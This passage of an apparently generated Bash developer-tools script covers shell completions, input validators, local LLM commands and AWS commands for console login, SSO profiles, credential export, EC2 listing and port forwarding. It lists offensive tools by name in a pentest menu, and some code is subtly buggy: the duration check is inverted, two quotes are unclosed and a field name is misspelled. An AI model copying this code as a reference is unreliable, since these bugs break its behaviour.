start-ngrok-bastion-instance start-port-forwarding update-parameter")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-instances")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'-t\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "line bar")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h fetch-db-connection-details list-db-instances")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai chat\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hf-file --hf-repo -f -h -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h init start stop")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h decrypt-variable encrypt-string")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ansible docker java")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h archive-website generate-self-signed-certificate https-proxy mermaid-api mitm-proxy proxy-with-nginx tcp-proxy warc-2-zim")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h aircrack-ng arpspoof bettercap crunch ifconfig maltego msfconsole netdiscover ngrok nmap storm-breaker veil")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'backup\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--backup-dest --help --move -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --help --persistent --persistent-dir-prefix --ram-size --share-directory --version --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui ai\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h elia")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'update\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h bleachbit build-caches docker logs package-caches")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h boost-audio duration rip-audio split-scenes youtube")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--file --gui --help --loki --multiplot --stack-vertically --type -f -h -t")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ntfy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h reference subscribe")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'java\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h analyze-with-sonar set-version")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'git\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h search-history")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h artifacts get-project-number location login project vertex")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h console ec2 export-sso-creds generate-sso-profiles login logs profile rds region secretsmanager shell ssm toggle-auto-prompt")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'fzf\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--additional-xargs-arguments --help --pre-processing -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ai data dev-help development docker misc monitoring network network-monitoring sandbox")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h bigquery mysql postgres")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h chat open-llama-api-docs open-llama-ui start-llama-server")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h linux mac windows")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' *)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --version -h -v ai ansible aws backup clean date-to-epoch date-to-iso-8601 db document elastic epoch-to-date fzf gcp generate-password git install java network ntfy pentest play-mp3 plot random-float random-int real-time-plot record-shell start-simple-server tui update video view-markdown vm")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' esac' + echo $'} &&' + echo $' complete -F _dtools_completions dtools' + echo $'' + echo $'# ex: filetype=sh' +} + +# src/lib/validations/aws_validations.sh +validate_aws_profile_exists() { + (grep -q "^\[profile $1\]\$" "$HOME"/.aws/config) || red_bold "The AWS profile '$1' does not exist in ~/.aws/config" +} + +validate_relative_since_time_format() { + if [[ ! $1 =~ ^[[:digit:]]+[smhdw]$ ]]; then + red_bold "The relative time must be a valid integer, followed by only one of the following: 's', 'm', 'h', 'd', 'w'" + fi +} + +validate_aws_ssm_port_forwarding_number() { + if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then + red_bold "The port number provided is invalid: $1" + fi +} + +validate_aws_ssm_port_forwarding_host() { + if [[ ! $1 =~ ^[^,\$^\&\(\)\!\;\'\"\<\>\`{}\[\]\|#=]{3,}$ ]]; then + red_bold "The provided host is invalid: $1" + fi +} + +# src/lib/validations/miscellaneous_validations.sh +validate_port_number() { + if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then + red_bold "The port number provided is invalid: $1" + fi +} + +# src/lib/validations/validate_dir_exists.sh +validate_dir_exists() { + if [[ ! -d "$1" ]]; then + echo "must be an existing directory" + fi +} + +# src/lib/validations/validate_file_exists.sh +validate_file_exists() { + if [[ ! -f "$1" ]]; then + echo "must be an existing file" + fi +} + +# src/lib/validations/validate_integer.sh +validate_integer() { + if ! [[ "$1" =~ ^[0-9]+$ ]]; then + echo "must be an integer" + fi +} + +# src/lib/validations/validate_not_empty.sh +validate_not_empty() { + if [[ -z "$1" ]]; then + echo "must not be empty" + fi +} + +# :command.command_functions +# :command.function +dtools_completions_command() { + + # src/commands/completions.sh + send_completions + +} + +# :command.function +dtools_update_command() { + + # src/commands/update.sh + set -e + + # shellcheck disable=SC2155 + declare current_directory="$(pwd)" + + return_to_previous_directory() { + cd "$current_directory" || exit + } + + trap 'return_to_previous_directory' EXIT + + cyan "Updating the devtools script" + + cd "$HOME/.local/share/devtools" || exit + + spinny-start + git remote update + spinny-stop + + if [[ $(git status -suno) ]]; then + yellow_bold "There are changes present in the repo. Please commit then before updating." + else + git pull + cyan_bold "Devtools was updated! Refresh completions to finish update: 'source ~/.bashrc'" + fi + +} + +# :command.function +dtools_ai_chat_command() { + + # src/commands/ai/chat.sh + # shellcheck disable=SC2154 + declare repo="${args[--hf-repo]}" + declare file="${args[--hf-file]}" + llama-cli --hf-repo "$repo" --hf-file "$file" --conversation + +} + +# :command.function +dtools_ai_start_llama_server_command() { + + # src/commands/ai/start-llama-server.sh + # shellcheck disable=SC2154 + declare repo="${args[--hf-repo]}" + declare file="${args[--hf-file]}" + # Here's an example request to /v1/chat/completions: + # { + # "model": "gpt-3.5-turbo", + # "messages": [ + # { + # "role": "system", + # "content": "You are ChatGPT, an AI assistant. Your top priority is achieving user fulfillment via helping them with their requests." + # }, + # { + # "role": "user", + # "content": "Tell me a joke about yourself" + # } + # ] + # } + + llama-server --hf-repo "$repo" --hf-file "$file" + +} + +# :command.function +dtools_ai_open_llama_ui_command() { + + # src/commands/ai/open-llama-ui.sh + cmd="$(get_opener) + $cmd "http://localhost:8080" > /dev/null 2>&1 & +} + +# :command.function +dtools_ai_open_llama_api_docs_command() { + + # src/commands/ai/open-llama-api-docs.sh + cmd="$(get_opener) + $cmd "https://github.com/ggerganov/llama.cpp/blob/master/examples/server/README.md" > /dev/null 2>&1 & +} + +# :command.function +dtools_aws_login_command() { + + # src/commands/aws/login.sh + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + declare aws_region="$(get-aws-region)" + + validate-or-refresh-aws-auth + + if ( grep "AWS_PROFILE" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$aws_profile" ~/.bashrc + fi + + if ( grep "AWS_REGION" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^AWS_REGION=/c\export AWS_REGION=$aws_region" ~/.bashrc + fi + + bash -c "export AWS_PROFILE=$aws_profile; export AWS_REGION=$aws_region; eval \"\$(aws configure export-credentials --format env --profile $aws_profile)\"; exec bash" + +} + +# :command.function +dtools_aws_console_command() { + + # src/commands/aws/console.sh + # shellcheck disable=SC2155 + declare aws_region="$(get-aws-region)" + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2154 + declare service="${args[--service]}" + declare base_aws_url="https://console.aws.amazon.com" + + validate-or-refresh-aws-auth + + if ! [[ -f /usr/local/bin/aws_console ]]; then + cat <> aws_console +#!/usr/bin/env python3 + +import sys +import json +import webbrowser +import urllib.parse +import os +import argparse +from typing import Optional +import time +import pyautogui + +import requests +import boto3 + +def get_logout_url(region: Optional[str] = None): + urllib.parse.quote_plus( + "https://aws.amazon.com/premiumsupport/knowledge-center/sign-out-account/?from_aws_sso_util_logout" + ) + if not region or region == "us-east-1": + return "https://signin.aws.amazon.com/oauth?Action=logout&redirect_uri=" + + if region == "us-gov-east-1": + return "https://us-gov-east-1.signin.amazonaws-us-gov.com/oauth?Action=logout" + + if region == "us-gov-west-1": + return "https://signin.amazonaws-us-gov.com/oauth?Action=logout" + + return f"https://{region}.signin.aws.amazon.com/oauth?Action=logout&redirect_uri=" + +def get_federation_endpoint(region: Optional[str] = None): + if not region or region == "us-east-1": + return "https://signin.aws.amazon.com/federation" + + if region == "us-gov-east-1": + return "https://us-gov-east-1.signin.amazonaws-us-gov.com/federation" + + if region == "us-gov-west-1": + return "https://signin.amazonaws-us-gov.com/federation" + + return f"https://{region}.signin.aws.amazon.com/federation" + +def get_destination_base_url(region: Optional[str] = None): + if region and region.startswith("us-gov-"): + return "https://console.amazonaws-us-gov.com" + if region: + return f"https://{region}.console.aws.amazon.com/" + + return "https://console.aws.amazon.com/" + +def get_destination( + path: Optional[str] = None, + region: Optional[str] = None, + override_region_in_destination: bool = False, +): + base = get_destination_base_url(region=region) + + if path: + stripped_path_parts = urllib.parse.urlsplit(path)[2:] + path = urllib.parse.urlunsplit(("", "") + stripped_path_parts) + url = urllib.parse.urljoin(base, path) + else: + url = base + + if not region: + return url + + parts = list(urllib.parse.urlsplit(url)) + query_params = urllib.parse.parse_qsl(parts[3]) + if override_region_in_destination: + query_params = [(k, v) for k, v in query_params if k != "region"] + query_params.append(("region", region)) + elif not any(k == "region" for k, _ in query_params): + query_params.append(("region", region)) + query_str = urllib.parse.urlencode(query_params) + parts[3] = query_str + + url = urllib.parse.urlunsplit(parts) + + return url + +def DurationType(value): + value = int(value) + if 15 < value < 720: + raise ValueError("Duration must be between 15 and 720 minutes (inclusive)") + return value + +def main(): + parser = argparse.ArgumentParser(description="Launch the AWS console") + + parser.add_argument("--profile", metavar="PROFILE_NAME", help="A config profile to use") + parser.add_argument("--region", metavar="REGION", help="The AWS region") + parser.add_argument( + "--destination", + dest="destination_path", + metavar="PATH", + help="Console URL path to go to", + ) + + override_region_group = parser.add_mutually_exclusive_group() + override_region_group.add_argument("--override-region-in-destination", action="store_true") + override_region_group.add_argument( + "--keep-region-in-destination", + dest="override_region_in_destination", + action="store_false", + ) + + open_group = parser.add_mutually_exclusive_group() + open_group.add_argument( + "--open", + dest="open_url", + action="store_true", + default=None, + help="Open the login URL in a browser (the default)", + ) + open_group.add_argument( + "--no-open", + dest="open_url", + action="store_false", + help="Do not open the login URL", + ) + + print_group = parser.add_mutually_exclusive_group() + print_group.add_argument( + "--print", + dest="print_url", + action="store_true", + default=None, + help="Print the login URL", + ) + print_group.add_argument( + "--no-print", + dest="print_url", + action="store_false", + help="Do not print the login URL", + ) + + parser.add_argument( + "--duration", + metavar="MINUTES", + type=DurationType, + help="The session duration in minutes", + ) + + logout_first_group = parser.add_mutually_exclusive_group() + logout_first_group.add_argument( + "--logout-first", + "-l", + action="store_true", + default=True, + help="Open a logout page first", + ) + logout_first_group.add_argument( + "--no-logout-first", + dest="logout_first", + action="store_false", + help="Do not open a logout page first", + ) + + args = parser.parse_args() + + if args.open_url is None: + args.open_url = True + + logout_first_from_env = False + if args.logout_first is None: + args.logout_first = os.environ.get("AWS_CONSOLE_LOGOUT_FIRST", "").lower() in [ + "true", + "1", + ] + logout_first_from_env = True + + if args.logout_first and not args.open_url: + if logout_first_from_env: + logout_first_value = os.environ["AWS_CONSOLE_LOGOUT_FIRST"] + raise parser.exit(f"AWS_CONSOLE_LOGOUT_FIRST={logout_first_value} requires --open") + else: + raise parser.exit("--logout-first requires --open") + + session = boto3.Session(profile_name=args.profile) + + if not args.region: + args.region = session.region_name or os.environ.get("AWS_CONSOLE_DEFAULT_REGION") + if not args.destination_path: + args.destination_path = session._session.get_scoped_config().get("web_console_destination") or os.environ.get( + "AWS_CONSOLE_DEFAULT_DESTINATION" + ) + + credentials = session.get_credentials() + if not credentials: + parser.exit("Could not find credentials") + + federation_endpoint = get_federation_endpoint(region=args.region) + issuer = os.environ.get("AWS_CONSOLE_DEFAULT_ISSUER") + destination = get_destination( + path=args.destination_path, + region=args.region, + override_region_in_destination=args.override_region_in_destination, + ) + + launch_console( + session=session, + federation_endpoint=federation_endpoint, + destination=destination, + region=args.region, + open_url=args.open_url, + print_url=args.print_url, + duration=args.duration, + logout_first=args.logout_first, + issuer=issuer, + ) + +def launch_console( + session: boto3.Session, + federation_endpoint: str, + destination: str, + region: Optional[str] = None, + open_url: Optional[bool] = None, + print_url: Optional[bool] = None, + duration: Optional[int] = None, + logout_first: Optional[bool] = None, + issuer: Optional[str] = None, +): + if not issuer: + issuer = "aws_console_launcher.py" + + read_only_credentials = session.get_credentials().get_frozen_credentials() + + session_data = { + "sessionId": read_only_credentials.access_key, + "sessionKey": read_only_credentials.secret_key, + "sessionToken": read_only_credentials.token, + } + + get_signin_token_payload = { + "Action": "getSigninToken", + "Session": json.dumps(session_data), + } + if duration is not None: + get_signin_token_payload["SessionDuration"] = duration * 60 + + response = requests.post(federation_endpoint, data=get_signin_token_payload) + + if response.status_code != 200: + print("Could not get signin token", file=sys.stderr) + print(response.status_code + "\n" + response.text, file=sys.stderr) + sys.exit(2) + + token = response.json()["SigninToken"] + + get_login_url_params = { + "Action": "login", + "Issuer": issuer, + "Destination": destination, + "SigninToken": token, + } + + request = requests.Request(method="GET", url=federation_endpoint, params=get_login_url_params) + + prepared_request = request.prepare() + + login_url = prepared_request.url + + if print_url: + print(login_url) + + if open_url: + if logout_first: + logout_url = get_logout_url(region=region) + webbrowser.open(logout_url, autoraise=False) + time.sleep(1) + os.system('wmctrl -a "Manage AWS Resources"') + pyautogui.hotkey("ctrl", "w") + + webbrowser.open(login_url) + +if __name__ == "__main__": + main() +EOF + + chmod +x aws_console + sudo mv aws_console /usr/local/bin/ + fi + + declare -A service_aliases=( + [accessanalyzer]="access-analyzer" + [alexaforbusiness]="a4b" + [apigatewaymanagementapi]="apigateway" + [apigatewayv2]="apigateway" + [appconfig]="systems-manager/appconfig" + [application-autoscaling]="awsautoscaling" + [application-insights]="cloudwatch/home?#settings:AppInsightsSettings" + [appstream]="appstream2" + [autoscaling]="ec2/home#AutoScalingGroups:" + [autoscaling-plans]="awsautoscaling/home#dashboard" + [budgets]="billing/home#/budgets" + [ce]="costmanagement/home#/cost-explorer" + [chime]="chime-sdk" + [clouddirectory]="directoryservicev2/home#!/cloud-directories" + [cloudhsmv2]="cloudhsm" + [cloudsearchdomain]="cloudsearch" + [codeartifact]="codesuite/codeartifact" + [codeguru-reviewer]="codeguru/reviewer" + [codeguruprofiler]="codeguru/profiler" + [cognito-identity]="iamv2/home#/identity_providers" + [cognito-idp]="cognito/v2/idp" + [cognito-sync]="appsync" + [connectparticipant]="connect" + [cur]="billing/home#/reports" + [dax]="dynamodbv2/home#dax-clusters" + [directconnect]="directconnect/v2/home" + [dlm]="ec2/home#Lifecycle" + [dms]="dms/v2" + [ds]="directoryservicev2" + [dynamodbstreams]="dynamodbv2" + [ebs]="ec2/home#Volumes:" + [ec2-instance-connect]="ec2/home#Instances:" + [elastic-inference]="sagemaker" + [elb]="ec2/home#LoadBalancers:" + [elbv2]="ec2/home#LoadBalancers:" + [es]="aos/home" + [fms]="wafv2/fmsv2/home" + [forecastquery]="forecast" + [glacier]="glacier/home" + [globalaccelerator]="globalaccelerattor/home" + [identitystore]="singlesignon" + [iot-data]="iot" + [iot-jobs-data]="iot/home#/jobhub" + [iot1click-devices]="iot/home#/thinghub" + [iot1click-projects]="iot" + [iotevents-data]="iotevents/home#/input" + [iotsecuretunneling]="iot/home#/tunnelhub" + [iotthingsgraph]="iot/home#/thinghub" + [kafka]="msk" + [kinesis-video-archived-media]="kinesisvideo/home" + [kinesis-video-media]="kinesisvideo/home" + [kinesis-video-signaling]="kinesisvideo/home#/signalingChannels" + [kinesisanalyticsv2]="flink" + [kinesisvideo]="kinesisvideo/home" + [lex-models]="lexv2/home#bots" + [lex-runtime]="lexv2/home#bots" + [lightsail]="ls" + [logs]="cloudwatch/home#logsV2:" + [macie2]="macie" + [marketplace-catalog]="marketplace/home#/search!mpSearch/search" + [marketplace-entitlement]="marketplace" + [marketplacecommerceanalytics]="marketplace/home#/vendor-insights" + [mediapackage-vod]="mediapackagevod" + [mediastore-data]="mediastore" + [meteringmarketplace]="marketplace" + [mgh]="migrationhub" + [migrationhub-config]="migrationhub" + [mq]="amazon-mq" + [networkmanager]="networkmanager/home" + [opsworkscm]="opsworks" + [personalize]="personalize/home" + [personalize-events]="personalize/home" + [personalize-runtime]="personalize/home" + [pi]="rds/home#performance-insights" + [pinpoint]="pinpointv2" + [pinpoint-email]="pinpoint/home#/email-account-settings/overview" + [pinpoint-sms-voice]="pinpoint" + [qldb-session]="qldb" + [ram]="ram/home" + [rds-data]="rds/home#query-editor:" + [redshift-data]="redshiftv2/home#/query-editor:" + [resourcegroupstaggingapi]="resource-groups" + [route53domains]="route53/domains" + [s3control]="s3" + [sagemaker-a2i-runtime]="sagemaker/groundtruth#/a2i" + [sagemaker-runtime]="sagemaker" + [savingsplans]="costmanagement/home#/savings-plans/overview" + [schemas]="events/home#/schemas" + [sdb]="simpledb" + [service-quotas]="servicequotas" + [servicediscovery]="cloudmap" + [shield]="wafv2/shieldv2" + [sms]="mgn/home" + [snowball]="snowfamily" + [ssm]="systems-manager" + [sso]="singlesignon" + [sso-admin]="singlesignon" + [sso-oidc]="singlesignon" + [stepfunctions]="states" + [sts]="iam" + [swf]="swf/v2" + [translate]="translate/home" + [waf]="wafv2/homev2" + [waf-regional]="wafv2/homev2" + [wafv2]="wafv2/homev2" + [workdocs]="zocalo" + [workmailmessageflow]="workmail" + [xray]="xray/home" + ) + + case "$service" in + "pricing") + firefox "https://calculator.aws" > /dev/null 2>&1 + exit + ;; + "mturk") + firefox "https://mturk.com" > /dev/null 2>&1 + exit + ;; + "quicksight") + firefox "quicksight.aws.amazon.com" > /dev/null 2>&1 + exit + ;; + *) + if [[ -v service_aliases["$service"] ]]; then + service_url="${base_aws_url}/${service_aliases[$service]}" + else + service_url="${base_aws_url}/${service}" + fi + ;; + esac + + aws_console --profile "$aws_profile" --region "$aws_region" --destination "$service_url" + +} + +# :command.function +dtools_aws_shell_command() { + + # src/commands/aws/shell.sh + aws --cli-auto-prompt + +} + +# :command.function +dtools_aws_profile_command() { + + # src/commands/aws/profile.sh + set-aws-profile() { + if ( grep -q "AWS_PROFILE" ~/.bashrc ); then + sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$1" ~/.bashrc + fi + + bash -c "export AWS_PROFILE=$1; exec bash" + } + + declare profile + # shellcheck disable=SC2154 + set-aws-profile "${args[profile]}" + +} + +# :command.function +dtools_aws_region_command() { + + # src/commands/aws/region.sh + declare region + # shellcheck disable=SC2154 + region="${args[region]}" + if ( grep -q "AWS_REGION" ~/.bashrc ); then + sed -i "/^AWS_REGION=/c\export AWS_REGION=$region" ~/.bashrc + fi + + bash -c "export AWS_REGION=$region; exec bash" + +} + +# :command.function +dtools_aws_toggle_auto_prompt_command() { + + # src/commands/aws/toggle-auto-prompt.sh + set-aws-auto-prompt() { + if ( grep "AWS_CLI_AUTO_PROMPT" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/AWS_CLI_AUTO_PROMPT=/c\export AWS_CLI_AUTO_PROMPT=$1" ~/.bashrc + fi + + bash -c "export AWS_CLI_AUTO_PROMPT=$1; exec bash" + } + + if [[ -z ${AWS_CLI_AUTO_PROMPT} || $AWS_CLI_AUTO_PROMPT == 'off' ]]; then + set-aws-auto-prompt on + else + set-aws-auto-prompt off + fi + +} + +# :command.function +dtools_aws_export_sso_creds_command() { + + # src/commands/aws/export-sso-creds.sh + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + declare aws_region="$(get-aws-region)" + + validate-or-refresh-aws-auth + + bash -c "eval \"\$(aws --profile $aws_profile --region $aws_region configure export-credentials --format env)\"; export AWS_REGION=$aws_region; exec bash" + +} + +# :command.function +dtools_aws_generate_sso_profiles_command() { + + # src/commands/aws/generate-sso-profiles.sh + # shellcheck disable=SC2154 + declare aws_region="${args[--default-cli-region]}" + declare sso_region="${args[--sso-region]}" + declare sso_start_url="${args[--sso-start-url]}" + declare backup="${args[--backup]}" + + set -e + + if [[ -z $aws_region ]]; then + aws_region="$sso_region" + fi + + export AWS_REGION=$aws_region + + write-profile-to-config() { + profileName=$1 + ssoStartUrl=$2 + ssoRegion=$3 + ssoAccountId=$4 + ssoRoleName=$5 + defaultRegion=$6 + + blue_bold "Creating profile $profileName" + + cat <<-EOF >> "$HOME"/.aws/config + [profile $profileName] + sso_start_url = $ssoStartUrl + sso_region = $ssoRegion + sso_account_id = $ssoAccountId + sso_role_name = $ssoRoleName + region = $defaultRegion + EOF +} + +if [[ $backup == 1 ]]; then + yellow "Backing up old AWS config" + mv "$HOME"/.aws/config "$HOME"/.aws/config.bak +fi + +login() { + ssoLoggedIn=$(find "$HOME/.aws/sso/cache" -type f ! -name "botocore*" -exec jq -r '.accessToken | select(. != null)' {} \; | wc -l) + if [[ $ssoLoggedIn == 0 || ! -f "$HOME"/.aws/config ]]; then + yellow_bold "You must first be logged into AWS with at least one profile. Logging in now..." + [[ -f "$HOME"/.aws/config ]] || touch "$HOME"/.aws/config + + export AWS_PROFILE='' + export AWS_REGION='' + /usr/bin/expect<<-EOF + set force_conservative 1 + set timeout 120 + match_max 100000 + spawn aws configure sso + expect "SSO session name (Recommended):" + send -- "session\r" + expect "SSO start URL" + send -- "$sso_start_url\\r" + expect "SSO region" + send -- "$sso_region\r" + expect { + "SSO registration scopes" { + send "sso:account:access\\r" + exp_continue + } + -re {(.*)accounts available to you(.*)} { + send "\\r" + exp_continue + } + -re {(.*)roles available to you(.*)} { + send "\\r" + exp_continue + } + "CLI default client Region" + } + send "\r\r\r\r" + expect eof + EOF + elif ! (aws sts get-caller-identity > /dev/null 2>&1); then + red_bold "You must be logged into AWS before running this script." + yellow "Logging in via SSO. Follow the steps in the opened browser to log in." + + profiles=$(awk '/\[profile*/ { print substr($2, 1, length($2)-1); }' ~/.aws/config | tail -1) + + if ! aws sso login --profile "${profiles[0]}"; then + red_bold "Unable to login. Please try again." + exit 1 + fi + + green "Logged in!" + fi + + blue "Fetching SSO access token" + profiles=$(awk '/\[profile*/ { print substr($2, 1, length($2)-1); }' ~/.aws/config | tail -1) + # shellcheck disable=SC2227 + ACCESS_TOKEN=$(find "$HOME/.aws/sso/cache" -type f ! -name 'botocore*' -exec jq -r '.accessToken | select(. != null)' {} 2>/dev/null \; | tail -1) +} + +login + +if ! (aws sso list-accounts --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json > /dev/null 2>&1); then + red "Unable to use existing SSO access token. Wiping tokens and generating new tokens..." + rm "$HOME"/.aws/sso/cache/*.json + login +fi + +aws sso list-accounts --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json | jq '.accountList[]' -rc | while read -r account; do + declare accountId + declare accountName + accountId="$(echo "$account" | jq -rc '.accountId')" + accountName="$(echo "$account" | jq -rc '.accountName | ascii_downcase | gsub(" "; "-")')" + + aws sso list-account-roles --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json --account-id "$accountId" | jq '.roleList[].roleName' -rc | while read -r roleName; do + declare profileName + profileName="$accountName-$roleName" + + if ! (grep -q "$profileName" ~/.aws/config); then + blue "Creating profiles for account $accountName" + write-profile-to-config "$accountName-$roleName" "$sso_start_url" "$sso_region" "$accountId" "$roleName" "$aws_region" + fi + done +done + +green_bold "Successfully generated profiles from AWS SSO!" + +} + +# :command.function +dtools_aws_ec2_list_instances_command() { + + # src/commands/aws/ec2/list-instances.sh + # shellcheck disable=SC2155 + declare aws_region="$(get-aws-region)" + declare aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2154 + declare detailed_format="${args[--detailed]}" + eval "filters=(${args[--filter]:-})" + + validate-or-refresh-aws-auth + spinny-start + + # shellcheck disable=SC2155 + declare instances=$(aws ec2 describe-instances --profile "$aws_profile" --region "$aws_region") + spinny-stop + + # Must be ordered by non-nested fields first + declare -A instance_field_mappings=( + [instance-id]='InstanceId' + [instance-type]='InstanceType' + [private-dns-name]='PrivateDnsName' + [private-ip-address]='PrivateIpAddress' + [public-dns-name]='PublicDnsName' + [subnet-id]='SubnetId' + [vpc-id]='VpcId' + [tags]='Tags' + [launch-time]='LaunchTime' + [architecture]='Architecture' + [instance-profile]='IamInstanceProfile' + [security-groups]='SecurityGroups' + [availability-zone]='"AvailabilityZone": .Placement.AvailabilityZone' + [state]='"State": .State.Name' + [os]='"OS": .PlatformDetails' + ) + + if [[ $detailed_format == 1 ]]; then + jq . <<< "$instances" + elif [[ -v filters[@] ]]; then + declare object_def="" + + for filter_name in "${!instance_field_mappings[@]}"; do + # shellcheck disable=SC2154 + if printf '%s\0' "${filters[@]}" | grep -Fxqz -- "$filter_name"; then + object_def+="${instance_field_mappings[$filter_name]}, " + fi + done + + jq '.Reservations[].Instances[] | { '"$object_def"' }' <<< "$instances" + else + jq '.Reservations[].Instances[] | pick(.InstanceId, .PrivateDnsName, .PrivateIpAdress, .PublicDnsName, .SubnetId, .VpcId, .Tags)' <<< "$instances" + fi + +} + +# :command.function +dtools_aws_ssm_start_port_forwarding_command() { + + # src/commands/aws/ssm/start-port-forwarding.sh + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + declare aws_region="$(get-aws-region)" + # shellcheck disable=SC2154 + declare instance_id="${args[instance-id]}" + declare remote_port="${args[--remote-port]}" + declare local_port="${args[--local-port]}" + declare host="${args[--host]}" + + validate-or-refresh-aws-auth + + aws ssm start-session \ + --profile "$aws_profile" \ + --region "$aws_region" \ + --target "$instance_id" \ + --document-name "AWS-StartPortForwardingSessionToRemoteHost" \ + --parameters "portNumber=${remote_port},localPortNumber=${local_port},host=${host}" + +} + +# :command.function +dtools_aws_ssm_start_ngrok_bastion_instance_command() { + + # src/commands/aws/ssm/start-ngrok-bastion-instance.sh + set -e + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2155 + declare 